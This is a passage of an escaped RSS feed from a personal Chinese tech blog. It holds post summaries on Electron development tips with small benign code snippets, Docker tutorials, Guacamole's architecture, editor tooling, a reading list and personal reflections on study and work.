&lt;p>然而这一切都是美好的。最初我大学一年级的时候建立这个博客的目的是能够长期写一写自己在技术层面上的积累和感悟。但这几年下来，我发现这件事器其实是一件异常困难的事情。每每当我在电脑里敲下 &lt;code>hexo new &amp;quot;谈某某某技术及xxx&amp;quot;&lt;/code> 的命令后，提笔不到半个小时便会被其他事情所吸引，此后便停笔不再续写下去了。&lt;/p>
&lt;p>所以你能看到我的博客标签云里「随笔」和「人生感悟」这两个标签的文章比例其实是比较大的。因为这类文章通常不需要进行多少头脑上的思考，只需想到什么就说什么，没什么顾忌，不需要考虑他人的感受。&lt;/p>
&lt;h2 id="一篇技术文的生与死">一篇技术文的生与死&lt;/h2>
&lt;p>以我个人举例。技术文的动机很明确，记录一下自己近期对于某项技术的心得，当然也包括希望这篇文章能够对他人产生一些帮助。在写一篇技术文之前，我通常会对该项技术进行一个透彻的总览，评估自己对这个技术的理解透彻度，然后确保自己不会犯一些原则性的错误之后开始执笔。&lt;/p>
&lt;p>一篇文章的诞生之于我而言，永远不会是线性的产出，我会首先写下一篇文章的整体骨架，然后在之后的成文过程中随时切换到不同的小节中写下自己的思绪，然后在慢慢整理成一篇完整的文章。这差不多算是一篇文章的「生」了。&lt;/p>
&lt;p>那么一篇文章的「死」又是怎么回事呢？&lt;/p></description></item><item><title>实验楼楼赛第3期-Python-题解</title><link>https://changkun.de/blog/posts/%E5%AE%9E%E9%AA%8C%E6%A5%BC%E6%A5%BC%E8%B5%9B%E7%AC%AC3%E6%9C%9F-python-%E9%A2%98%E8%A7%A3/</link><pubDate>Sun, 26 Mar 2017 19:55:51 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%AE%9E%E9%AA%8C%E6%A5%BC%E6%A5%BC%E8%B5%9B%E7%AC%AC3%E6%9C%9F-python-%E9%A2%98%E8%A7%A3/</guid><description>&lt;p>因对 Python 感兴趣，于是早上吃早饭时看看。题目相对比较简单，最后一题代码写得比较随意。原本打算交上去测试一下，可惜海外党使用环境实在是卡得惨不忍睹，没办法写敲那么多代码上去。&lt;/p>
&lt;p>题目：https://www.shiyanlou.com/contests/lou3/challenges&lt;/p></description></item><item><title>迅速更换了 DISQUS</title><link>https://changkun.de/blog/posts/migrate-to-disqus/</link><pubDate>Tue, 21 Mar 2017 17:46:22 +0000</pubDate><guid>https://changkun.de/blog/posts/migrate-to-disqus/</guid><description>多说今天发公告说六月一号要关闭了，哎真是不靠谱。
于是换成了 DISQUS，不知道在国内的影响如何，我似乎感觉到访问速度变慢了许多。</description></item><item><title>Electron 深度实践总结</title><link>https://changkun.de/blog/posts/electron-summary/</link><pubDate>Tue, 14 Mar 2017 23:18:07 +0000</pubDate><guid>https://changkun.de/blog/posts/electron-summary/</guid><description>&lt;p>&lt;strong>思维导图&lt;/strong>&lt;/p>
&lt;p>&lt;img src="mind.png" alt="">&lt;/p>
&lt;blockquote>
&lt;p>前言:&lt;/p>
&lt;p>Electron 从最初发布到现在已经维护很长一段时间了，但是去年才开始慢慢升温。笔者个人恰好也有一些 Electron 的实践经验，原本这篇总结是大约半年前开始起草的，但是由于一些个人原因拖到现在才算是正式完稿，现在发出来供有意实践 Electron 的开发者借鉴，避免一些本人在实践中踩过的坑。此外，笔者的水平有限，难免出现错误，如果读者在阅读本文过程中发现原则性的错误，请务必指出，以免相关内容祸害他人。&lt;/p>
&lt;p>本文的实践基于 &lt;code>Electron 1.x&lt;/code> 。&lt;/p>
&lt;/blockquote>
&lt;h2 id="创建基本应用">创建基本应用&lt;/h2>
&lt;p>&lt;strong>问题:&lt;/strong> renderer 端无 jQuery&lt;/p>
&lt;p>根据官方的新手教程，我们很容易创建一个基本的 Electron 应用，我们不再累赘叙述，如果你只需要加载一个网页，那么只需要下面几行简单的代码：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="kr">const&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="nx">BrowserWindow&lt;/span> &lt;span class="p">}&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;electron&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="kd">let&lt;/span> &lt;span class="nb">window&lt;/span>
&lt;span class="kd">function&lt;/span> &lt;span class="nx">createWindow&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;span class="nb">window&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">BrowserWindow&lt;/span>&lt;span class="p">({&lt;/span>
&lt;span class="nx">width&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="mi">1024&lt;/span>&lt;span class="p">,&lt;/span>
&lt;span class="nx">height&lt;/span> &lt;span class="mi">720&lt;/span>
&lt;span class="p">})&lt;/span>
&lt;span class="nb">window&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">loadURL&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;https://changkun.us&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="p">}&lt;/span>
&lt;span class="nx">app&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">on&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;ready&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">createWindow&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>如果你真的尝试加载笔者的博客页面，会发现笔者博客的文字内容无法加载，这是由于 jQuery 找不到而产生的问题，为此我们并没有必要调整 Web 端的内容，只需要简单在 Electron 的 Renderer 端引入 jQuery 即可。&lt;/p>
&lt;p>解决方法就可以使用 BrowserWindow 的 preload 参数，然后使用 preload 脚本为 renderer 端引入 jQuery:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="c1">// preload script
&lt;/span>&lt;span class="c1">&lt;/span>&lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">addEventListener&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;DOMNodeInserted&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">event&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!!&lt;/span>&lt;span class="nb">window&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="o">!&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">window&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">$&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;span class="nb">window&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">$&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">window&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">jQuery&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;../utils/jquery.min&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="p">}&lt;/span>
&lt;span class="p">})&lt;/span>
&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;strong>相关 issue:&lt;/strong> &lt;a href="https://github.com/electron/electron/issues/345">https://github.com/electron/electron/issues/345&lt;/a>&lt;/p></description></item><item><title>良好的编码体验的三个方面</title><link>https://changkun.de/blog/posts/%E8%89%AF%E5%A5%BD%E7%9A%84%E7%BC%96%E7%A0%81%E4%BD%93%E9%AA%8C%E7%9A%84%E4%B8%89%E4%B8%AA%E6%96%B9%E9%9D%A2/</link><pubDate>Sat, 11 Mar 2017 17:20:01 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%89%AF%E5%A5%BD%E7%9A%84%E7%BC%96%E7%A0%81%E4%BD%93%E9%AA%8C%E7%9A%84%E4%B8%89%E4%B8%AA%E6%96%B9%E9%9D%A2/</guid><description>俗话说，工欲善其事必先利其器。没有了IDE，我们还能愉快且高效的编程吗？这次我们来谈谈良好的编码体验。首先说说我自己目前关注的方向，然后再据此说说我个人的工具链。
我个人主要从事的编码有：
Python JavaScript C/C++ Obj-C/Swift 如果使用 IDE，我分别选择：
PyCharm WebStorm Xcode Xcode 然而，IDE总的来说过于重量，对于 PyCharm 和 WebStorm 来说还是收费产品，而更多的时候只需要将编辑器和命令行配合，所以对于编辑器来说，我通常会考虑这样四款产品（当然 Obj-C 和 Swift 并不适合用 Xcode 之外的产品）：
Vim VSCode Sublime Text 3 Atom 要让这样四款编辑器具备IDE的功能，也就是所谓的良好的编码体验。那么在我看来，不外乎以下三个方面：
Autocomplete Go to Definition Debug 想要让这些编辑器实现这三个功能，需要做大量的定制工作，这也是需要使用者在编码过程中与之不断磨合，打造出只属于自己的产品，最终任何其他人都无法适应。
这三点来说对于 ST3 和 Atom 其实是不太占优势的，因为本身没有 Debug 功能，而 VSCode 却集成了这个能力，此外 VSCode 只需要简单的配置就能够实现 Go to Definition 和 Autocomplete 功能，这也是 VSCode 逐渐吸引我，从而慢慢开始转而它的地方。</description></item><item><title>2016 年终总结</title><link>https://changkun.de/blog/posts/2016-summary/</link><pubDate>Tue, 24 Jan 2017 00:21:31 +0000</pubDate><guid>https://changkun.de/blog/posts/2016-summary/</guid><description>&lt;p>这个总结拖了有点久，原本按照惯例应该是圣诞节前后写好的，结果这次拖到了农历新年。&lt;/p>
&lt;p>好在今年的除夕来得比往常要早，若是像去年春节延到二月份，这篇总结基本上就不会被写出来了。读了读自己往年的总结，不免读出一些学生时代的书生气息。尽管现在依然是学生身份，但却已天差地别。这篇总结也就不再沿用之前的标题，直接写做 『我的2016 年终总结』吧。&lt;/p>
&lt;p>和往年一样，这一年也发生了大小不少事儿。但如果等我我年纪大了，届时回顾自己整段生命历程时，细数生命里有过多少关键节点，那么 2016 年绝对是必不可少的一个关键节点。&lt;/p></description></item><item><title>2016 读书清单</title><link>https://changkun.de/blog/posts/2016-reading/</link><pubDate>Sun, 18 Dec 2016 21:21:29 +0000</pubDate><guid>https://changkun.de/blog/posts/2016-reading/</guid><description>感觉时间越来越不够用，如今我总是很好奇当初大一时的我究竟是如何保持做到在不落下课业的同时还能忙于社团之间、阅读很多的课外书籍、整日沉迷数学的。不过好在我还是忙里偷闲，在课业拉下很多、年末将至之时完成了每年二十本的阅读任务（尽管其中有几本知乎出版的可能还不能称得上是一本合格的书）。按照惯例，年末的时候，把我这一年中读过的书籍都列出来。有些是小说，有些是传记，有些则是一些社科文学。
顺序是按照阅读时间排列的，其中的 3／4／13／18 差不多只读了一半，4 是一本描写反面英雄的小说，作者一开始讲述了许多奇怪的谋杀案从而逐渐引出主人公 Keller 的冒险故事，没有读完实在是因为词汇量和文化背景甚至阅读功底的不足，并不是因为书不够精彩。其他几本没读完的书大抵都是如此。
最近来德国后一直在读的几本书是 16 ／17／20，这三本书可谓是鼎力推荐，读罢感触良多。
虽然 16 是一本相当于教说类的读物，其本质是一本讲词法和写作短语的教材，但这本书作为我第一本认真读下来的用英文写成的讲解英文的教材，从某种意义上对我的英文写作还是产生了一定的影响，让我明白了如何在写作中把一件事情足够精练有逻辑的表达出来。
17 可谓是一本装逼神器，早在两年前我就听说过此书，读过之后差不多就是一种暗爽的感觉，终于可以在别人面前大谈反乌托邦文学了。此书的顺利阅读其实是得益于此前读过的 1984、我们、美妙的新世界这三本书小说（所以后来我又重读了1984 的英文版，全当锻炼阅读了），它们可谓对我如同教科书式般有着潜移默化的作用，正所谓&amp;quot;娱乐至死&amp;quot;，“媒介即隐喻”。
20 的推荐理由就很简单了，这本书其实是我在慕尼黑的一家二手书店找到的，出版有些年头了。当时在硕大的书架上我真的算是第一眼就扫到了此书，感觉颇有缘分就买回家了。里面的内容很好的阐明了个人电脑的发展历程，在整个工业发展进程中，个人电脑的真正起源究竟是什么。起初我是不以为然的，因为乔布斯和沃兹的故事我早已耳熟能详，但实际上这背后其实更是暗藏大量八卦和玄机。
清单如下：
The Idea Factory Bell Labs and the Great Age of American Innovation, Jon Gertner The Art of Thinking Clearly, Rolf Dobeilli Sherlock Holmes: The Return of Sherlock Holmes, Sir Arthur Conan Doyle English Spy, Daniel Silva 你只是看起来很努力, 李尚龙 中国文化的展望, 殷海光 亚优秀症候群, 知乎: Tina 拖延症再见, 知乎: 动机在杭州 孤独深处, 郝景芳 翻译官, 缪娟 美妙的新世界, 阿道斯 哈利波特与被诅咒的孩子 从库默尔到朗兰兹: 朗兰兹猜想的历史, 邹青 Elon Musk, Ashlee Vance 精进, 采铜 How to Write Better English, Robert Allen Amusing Ourselves to Death, Neil Postman Jony Ive: The Genius Behind Apple’s Greatest Products, Leander Kahney Nineteen Eighty-Four, George Orwell What the Dormouse Said: How the Sixties Computer-culture Shaped the Personal Computer Industry, John Markoff</description></item><item><title>最近在着手写的文章</title><link>https://changkun.de/blog/posts/%E6%9C%80%E8%BF%91%E5%9C%A8%E7%9D%80%E6%89%8B%E5%86%99%E7%9A%84%E6%96%87%E7%AB%A0/</link><pubDate>Wed, 30 Nov 2016 14:19:01 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%9C%80%E8%BF%91%E5%9C%A8%E7%9D%80%E6%89%8B%E5%86%99%E7%9A%84%E6%96%87%E7%AB%A0/</guid><description>开始读 Master 以后文章就变得鲜有更新了，但实际上在草稿文件夹里躺着很多篇我计划发布但迟迟没有写完的文章。我想先列在这里，用以警示我自己不要忘记继续撰写并发布它们：
当我们进行学术演讲时，我们应该谈论什么 Docker 极速入门教程3 数据与网络管理 Docker 极速入门教程4 Docker 安全 Electron 跨平台客户端的若干踩坑与最佳实践总结(已完成) 最近两次经历的 Hackathon 最近两次经历的技术型 Meetup 人机交互领域的研究应该是怎样的 人机交互与实证研究的若干评述 信息可视化的方法、工具和技巧 德国与中国的研究生教育有何不同 高性能并行计算小谈（1）：从矩阵乘法谈起 高性能并行计算小谈（2）：循环展开优化技术 高性能并行计算小谈（3）：块展开与硬件无关调优技术 高性能并行计算小谈（4）：共享内存与分布式内存机器 知识表示和推理（1）：命题逻辑、描述逻辑、谓词逻辑 知识表示和推理（2）：画面演算法及其扩展 知识表示和推理（3）：语义网和互联网本体语言</description></item><item><title>微信小程序文档极致总结</title><link>https://changkun.de/blog/posts/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E6%96%87%E6%A1%A3%E6%9E%81%E8%87%B4%E6%80%BB%E7%BB%93/</link><pubDate>Fri, 23 Sep 2016 10:09:22 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E6%96%87%E6%A1%A3%E6%9E%81%E8%87%B4%E6%80%BB%E7%BB%93/</guid><description>昨天晚上睡觉的时候看到有人把工具和文档放出来了, 今天果断上课看一波&amp;hellip;&amp;hellip;读完后总结了大概下面几点：
小程序不会被销毁, 机制类似于java的垃圾回收, 仅在资源不足时才会别回收 小程序控制器生存在于微信创建的 AppService 进程, 和微信的 ViewThread 进程共存，关系类似于 Electron 的 Main 和 Renderer 进程之间的关系 一个小程序只能有 5 个网络请求, 1 个 websocket 接口自带资源压缩, 可以指定原图或压缩后的图 录音接口只允许 1 分钟, 超过自动停止 声音播放分为两种: 音频播放, 同一时间只允许一个音频播放 音乐播放, 允许播放背景音乐 因此, 音频和音乐可以同时存在 支持文件保存, 视频拍摄最长支持 1 分钟 小程序缓存彼此隔离，永久存储在一个设备上，暂不支持跨设备存储 支持GPS/Network/SysInfo/Accelorator/Compass, 加速器和罗盘频率为 50 times/s 登录认证方式类似于 RSA，会话秘钥就是私钥, 从服务器分配，首次通过登录凭证获取, 有效期为30天 提供消息模板, 可将消息发送至服务通知 关于 UI 组件 普通视图/垂直滚动/水平滚动视图 文本/图片/视频/canvas button/progress/loading/form/slider/label/&amp;hellip; nav/map/&amp;hellip; 总之负责文本/图片/视频呈现的 ui 组件都有了 资源 文档: http://wxopen.</description></item><item><title>谈谈过去三个月在实验楼的实习经历</title><link>https://changkun.de/blog/posts/%E8%B0%88%E8%B0%88%E8%BF%87%E5%8E%BB%E4%B8%89%E4%B8%AA%E6%9C%88%E5%9C%A8%E5%AE%9E%E9%AA%8C%E6%A5%BC%E7%9A%84%E5%AE%9E%E4%B9%A0%E7%BB%8F%E5%8E%86/</link><pubDate>Mon, 19 Sep 2016 16:26:31 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%B0%88%E8%B0%88%E8%BF%87%E5%8E%BB%E4%B8%89%E4%B8%AA%E6%9C%88%E5%9C%A8%E5%AE%9E%E9%AA%8C%E6%A5%BC%E7%9A%84%E5%AE%9E%E4%B9%A0%E7%BB%8F%E5%8E%86/</guid><description>&lt;blockquote>
&lt;p>这篇文章原本写于实习满一个月的时候，本打算作为阶段性总结，但本人实在是比较懒，一拖再拖，到现在实习已经基本结束了，本该属于我的坑也基本填得差不多了，我也可能要正式迈向我的研究生新生活了。就干脆改成整个实习阶段的总结吧。&lt;/p>
&lt;/blockquote>
&lt;p>与以往大二暑假、在德国交换的时自己主动找的几个实习不同，之前的实习都是我主动投递简历、毛遂自荐。而这次在&lt;a href="https://www.shiyanlou.com/">实验楼&lt;/a>的实习确实也是一件巧事，原本还在纠结暑假究竟是回家修整准备读研的事宜、还是找份实习打发一下无聊时间。结果正好在我决定回家的前夕，收到了来自实验楼的工作邀请。心想回家闲着也是闲着，自己正好也是实验楼一个（不算称职）的用户，所以在简短的和 BOSS 磊哥聊了一些工作事项后，就接受了在这里实习。&lt;/p>
&lt;p>以前大二那份实习的工作内容异常的简单，每天就是面向 C++ 修各种 bug，写一写无聊的测试，实现各种简单到不能再简单的需求，每天下班前交付代码然后领工资，两个月坐下来没有一点感觉，没收获多少新知识，最大的收获可能就是零花钱。而这次的实习差不多重新点燃了我对新技术的几乎快要熄灭的渴望。&lt;/p>
&lt;h2 id="先说说工作情况">先说说工作情况&lt;/h2>
&lt;p>做&lt;a href="https://changkun.de/blog/files/cv/bachelor-thesis-en.html">毕设&lt;/a>的时候，我总以为我接触过的技术是在是够多了，大大小小的各式各样的技术也不过如此，万变不离其宗，所以只要认认真真读一读文档，没有什么不能解决的问题。&lt;/p>
&lt;p>然而事情并没有想象的那么简单，踩了不少坑，总结下来就是&lt;strong>太年轻&lt;/strong>。在实验楼实习的三个月里，倒是接触了很多以前并不在意、也没有需求去了解的技术，比如 Linux 运维、比如 Docker 等等，我甚至为此列了一个长长的 &lt;a href="https://changkun.de/blog/todo/">TODO-DONE-LIST&lt;/a>，并希望我能够在研究生生涯里把这些内容逐一攻破。&lt;/p>
&lt;blockquote>
&lt;p>第一个月电脑如实的记录了我的工作状态（部分时候断网没有记录）：&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&lt;img src="1.png" alt="">&lt;/p>
&lt;/blockquote>
&lt;p>每天下来过得还算充实，比起整日待在在学校里、面对昏暗的寝室环境浑浑噩噩效率提高了不少。这次的实习干的事情不多，总结下来其实就是四件简单的事情：&lt;/p>
&lt;ol>
&lt;li>&lt;a href="https://www.shiyanlou.com/teacher/29879">十七门 C++/JS/Swift 学习课程&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.shiyanlou.com/vip#vip-clients">一个跨平台的桌面客户端&lt;/a>&lt;/li>
&lt;li>一套基于 ELK 的 Nginx 日志系统&lt;/li>
&lt;li>一个很挫的 kNN+协同过滤 推荐系统&lt;/li>
&lt;/ol></description></item><item><title>Built a Desktop Client for My Blog</title><link>https://changkun.de/blog/posts/%E7%BB%99%E5%8D%9A%E5%AE%A2%E5%81%9A%E4%BA%86%E4%B8%80%E4%B8%AA%E6%A1%8C%E9%9D%A2%E5%AE%A2%E6%88%B7%E7%AB%AF/</link><pubDate>Sun, 04 Sep 2016 21:37:47 +0000</pubDate><guid>https://changkun.de/blog/posts/%E7%BB%99%E5%8D%9A%E5%AE%A2%E5%81%9A%E4%BA%86%E4%B8%80%E4%B8%AA%E6%A1%8C%E9%9D%A2%E5%AE%A2%E6%88%B7%E7%AB%AF/</guid><description>I was bored, so I built a desktop client for my own blog.
Download Github 我太无聊了，所以给自己的博客做了一个客户端。
下载 Github</description></item><item><title>Guacamole 源码分析与 VNC 中 RFB 协议的坑</title><link>https://changkun.de/blog/posts/guacamole-%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90%E4%B8%8E-vnc-%E4%B8%AD-rfb-%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%9D%91/</link><pubDate>Sun, 21 Aug 2016 19:15:13 +0000</pubDate><guid>https://changkun.de/blog/posts/guacamole-%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90%E4%B8%8E-vnc-%E4%B8%AD-rfb-%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%9D%91/</guid><description>&lt;p>今天折腾了一整天 Guacamole，遇到了臭名昭著的坑，且听我一一道来。&lt;/p>
&lt;p>简单来说 Guacamole 提供了浏览器端访问的桌面系统的解决方案。Guacamole 提供的解决方案主要由两部分组成：&lt;/p>
&lt;ol>
&lt;li>浏览器端基于 HTML5，Canvas 技术: Guacamole Client 的 Guacamole-Common-JS 组件&lt;/li>
&lt;li>Guacamole Client 的 Guacamole Web 组件,&lt;/li>
&lt;li>Guacamole Server 仍然分为两个部分：
&lt;ul>
&lt;li>Guacamole Web 服务容器&lt;/li>
&lt;li>&lt;code>guacd&lt;/code> 守护进程与 &lt;code>RDP&lt;/code>/&lt;code>VNC&lt;/code>/&lt;code>TELNET&lt;/code> 等其他服务进行通信。&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;p>下面这张图很好的解释了 &lt;code>guacamole&lt;/code> 的架构，出自&lt;a href="http://guacamole.incubator.apache.org/doc/gug/guacamole-architecture.html">官网手册&lt;/a>：&lt;/p>
&lt;p>&lt;img src="1.png" alt="">&lt;/p></description></item><item><title>《高速上手 C++11/14》正式发布</title><link>https://changkun.de/blog/posts/modern-cpp-v1-is-live/</link><pubDate>Sat, 20 Aug 2016 20:53:45 +0000</pubDate><guid>https://changkun.de/blog/posts/modern-cpp-v1-is-live/</guid><description>&lt;p>最近一段时间一直在写这样一本书，今天总算是正式完成了。如今发布在了 Gitbook，主要链接如下：&lt;/p>
&lt;ol>
&lt;li>&lt;a href="https://changkun.gitbooks.io/cpp1x-tutorial/content/">在线阅读&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.gitbook.com/download/pdf/book/changkun/cpp1x-tutorial">PDF 下载&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/changkun/cpp1x-tutorial">相关代码&lt;/a>&lt;/li>
&lt;/ol>
&lt;p>&lt;img src="1.jpg" alt="">&lt;/p></description></item><item><title>Docker 极速入门教程02 - 镜像与容器管理</title><link>https://changkun.de/blog/posts/docker-tutorial-2/</link><pubDate>Sun, 07 Aug 2016 20:22:13 +0000</pubDate><guid>https://changkun.de/blog/posts/docker-tutorial-2/</guid><description>&lt;p>这次我们来深入了解一下镜像和容器的管理，不过作为入门教程，我们只打算谈及一些常用的命令，而不去介绍 Docker 的深入原理，具体内容我们放到另一个系列中去探讨。&lt;/p>
&lt;p>&lt;strong>Docker 极速入门教程系列 (往期)&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://changkun.de/blog/archives/2016/08/95/">Docker 极速入门教程01 - 基本概念和操作&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="镜像管理">镜像管理&lt;/h2>
&lt;p>镜像是容器的一个只读模板，用于创建容器。当容器运行时，需要指定其镜像，当镜像不存在时，就会从 Docker Registry 自动下载。每次创建新的镜像，都会在原镜像上方增加一层，具体的原理在本教程里面不深入讨论，可以在本文后面的深入阅读中查看相关文章。&lt;/p>
&lt;p>每一个镜像对应了一个唯一的 ID，同样的，镜像中的每一层也都具有一个唯一的 ID，因此，当从 Docker Hub 中 pull 镜像时也是分层进行下载的。&lt;/p>
&lt;p>在&lt;a href="https://changkun.de/blog/archives/2016/08/95/">上一篇文章&lt;/a>中，我们已经提到了一些基本的镜像管理命令：&lt;/p>
&lt;ol>
&lt;li>docker search: 搜索Docker Hub镜像&lt;/li>
&lt;li>docker pull: 拉取镜像&lt;/li>
&lt;li>docker images: 查看本地镜像&lt;/li>
&lt;li>docker inspect: 查看镜像详情&lt;/li>
&lt;li>docker rmi: 删除镜像&lt;/li>
&lt;/ol>
&lt;p>再来看一些其他的常用命令。&lt;/p></description></item><item><title>Docker 极速入门教程01 - 基本概念和操作</title><link>https://changkun.de/blog/posts/docker-tutorial-1/</link><pubDate>Sun, 07 Aug 2016 11:15:12 +0000</pubDate><guid>https://changkun.de/blog/posts/docker-tutorial-1/</guid><description>&lt;h2 id="序言">序言&lt;/h2>
&lt;h3 id="为什么写这个系列">为什么写这个系列&lt;/h3>
&lt;p>我加入了一家以 Docker 为技术栈核心的公司，如果走出去说自己不会 Docker，就显得有点不合适了。早在大三的时候就已经听说 Docker 技术的火爆，只是当时一心研究 iOS，并没有对此技术有太多在意，到了现在已经不得不研究了。&lt;/p>
&lt;p>实习的这几个月，做的事情比较多，每周只能花很少的时间来了解 Docker 这一门技术，这也是我需要花很长时间才能完成这个系列的原因。网上关于 Docker 的资源、教程已经数不胜数，为什么我还要再写这样一个系列。这里面的原因有以下几点：&lt;/p>
&lt;ol>
&lt;li>资源再多教程再多，也是别人的。别人写出来的东西是按照别人的思路进行，随着 Docker 技术的发展，我在学习 Docker 这门技术的过程中，发现了当下其实有更好更快捷的路径从新手直接入门整套技术；&lt;/li>
&lt;li>自己写成了文章之后，才能够发现自己对这门技术究竟还有那些不懂不明白的地方；&lt;/li>
&lt;li>&lt;strong>装逼&lt;/strong>&lt;/li>
&lt;/ol>
&lt;h3 id="为什么读这个系列">为什么读这个系列&lt;/h3>
&lt;p>这个系列与其他网上的资源相比有以下几个特点：&lt;/p>
&lt;ol>
&lt;li>只适用于有 Linux 基本基础的人，有很多教程都尝试向一些 Linux 基础薄弱的人由浅至深介绍 Docker，但实际上他们花了很大篇幅在介绍 Linux 本身上，却忽略了很多 Docker 的重要特性。&lt;/li>
&lt;li>高速，无废话。Docker 的命令错综复杂，很多的书籍、教程反复针对同一个命令反复介绍，废话奇多。读者需要从中甄别这些无用信息，从而浪费大量时间。&lt;/li>
&lt;/ol>
&lt;p>好了，说了不废话还是废话了这么长，开始吧。&lt;/p></description></item><item><title>阶段性沉默</title><link>https://changkun.de/blog/posts/%E9%98%B6%E6%AE%B5%E6%80%A7%E6%B2%89%E9%BB%98/</link><pubDate>Sun, 31 Jul 2016 06:07:22 +0000</pubDate><guid>https://changkun.de/blog/posts/%E9%98%B6%E6%AE%B5%E6%80%A7%E6%B2%89%E9%BB%98/</guid><description>昨天和家里人视频，才发现已经不知不觉到了该被议论的下一个阶段。
本科毕业，本说反正读研，回家休整，却也琢磨不透家里人是希望我回家还是不希望我回家，
回家陪陪家人，在理。但是回去了之后没几天，用脚想一想就能明白，肯定会面对街坊四邻天天叨叨叨着『你咋没有工作呀闲在家里你看隔壁那谁谁谁如何如何，签了哪儿哪儿哪儿，不花家里一分钱』。
所以啊，在现在这个公司干得挺开心，索性干脆不回去，什么时候回去再说吧。
此外，前段时间在知乎看到一个问题：为什么博士生常常被一些国人所歧视？虽然我不是博士生，但是看到这样的答案确实是很有感触的：
『 对小孩子的评价标准是成绩如何，考的大学如何； 对大人他们的评价标准是你赚钱如何，住的房子开的车如何； 不符合评价标准的人、事或行为都会被非议、打压、歧视； 没人会在乎你怎么想，真正想做什么，在做什么』
可能受的教育越多，越能体会和不同阶层对思维、眼界脱节，也许这就是所谓的『清高』。里面还有一个答案也挺有感触的：
『我妈他们念大学那会儿，本科生就受歧视。念个大学有啥用？都22了才工作，你看谁谁上个小班中专，19就赚钱了。你毕业人家都是老员工了。 现在也是啊，你读博都二十七八了才工作，人家谁谁都是老员工了。 底层一般都只能看到眼前那一小块，看不到五年后的世界的。我还认识有人生下了孩子之后才意识到养不起，孩子送人的。 底层嘛。不开化，可以理解。』
